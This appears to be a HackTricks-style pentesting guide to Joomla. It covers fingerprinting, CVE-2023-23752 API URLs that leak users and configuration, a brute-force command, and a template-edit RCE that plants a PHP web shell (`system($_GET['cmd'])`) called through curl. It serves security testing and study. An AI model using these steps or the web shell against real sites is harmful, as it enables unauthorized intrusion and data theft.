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// HackTricks · Network Services

Joomla

Joomla

Joomla Statistics

Joomla publishes opt-in anonymous usage statistics, including CMS, PHP, database, and operating-system distributions. The values below are only a historical response example; query the API for current data.[2]

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
    "data": {
        "cms_version": {
            "3.0": 0,
            "3.1": 0,
            "3.10": 6.33,
            "3.2": 0.01,
            "3.3": 0.02,
            "3.4": 0.05,
            "3.5": 12.24,
            "3.6": 22.85,
            "3.7": 7.99,
            "3.8": 17.72,
            "3.9": 27.24,
            "4.0": 3.21,
            "4.1": 1.53,
            "4.2": 0.82,
            "4.3": 0,
            "5.0": 0
        },
        "total": 2951032
    }
}

Enumeration

Discovery/Footprinting

  • Check the meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt
1- What is this?
	* This is a Joomla! installation/upgrade package to version 3.x
	* Joomla! Official site: https://www.joomla.org
	* Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history)
	* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Version

  • In /administrator/manifests/files/joomla.xml you can see the version.
  • In /language/en-GB/en-GB.xml you can get the version of Joomla.
  • In plugins/system/cache/cache.xml you can see an approximate version.

Automatic

droopescan scan joomla --url http://joomla-site.local/

In 80,443 - Pentesting Web Methodology is a section about CMS scanners that can scan Joomla.

API Unauthenticated Information Disclosure:

Joomla 4.0.0 through 4.2.7 is affected by CVE-2023-23752, an improper API access check that can disclose configuration data. Exposure depends on the deployed configuration and accessible API routes; upgrade rather than relying on route filtering.[3]

  • Users: http://<host>/api/v1/users?public=true
  • Config File: http://<host>/api/index.php/v1/config/application?public=true

MSF module: scanner/http/joomla_api_improper_access_checks; Exploit-DB also preserves a Ruby proof of concept.[4]

Brute-Force

The joomla-bruteforce script can perform bounded credential testing against the login.[5]

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin

admin:admin

RCE

If you managed to get admin credentials you can RCE inside of it by adding a snippet of PHP code to gain RCE. We can do this by customizing a template.

  1. Click on Templates on the bottom left under Configuration to pull up the templates menu.
  2. Click on a template name. Let’s choose protostar under the Template column header. This will bring us to the Templates: Customise page.
  3. Finally, you can click on a page to pull up the page source. Let’s choose the error.php page. We’ll add a PHP one-liner to gain code execution as follows:
    1. system($_GET['cmd']);
  4. Save & Close
  5. curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id

From XSS to RCE

  • JoomSploit documents chains that elevate XSS into RCE or other critical impact on supported Joomla 3.x through 5.x targets.[1][6] It supports:
    • Privilege escalation: Creates a user in Joomla.
    • (RCE) Built-in template edit: Edits a built-in Joomla template.
    • (Custom) Custom Exploits: Custom Exploits for Third-Party Joomla Plugins.

References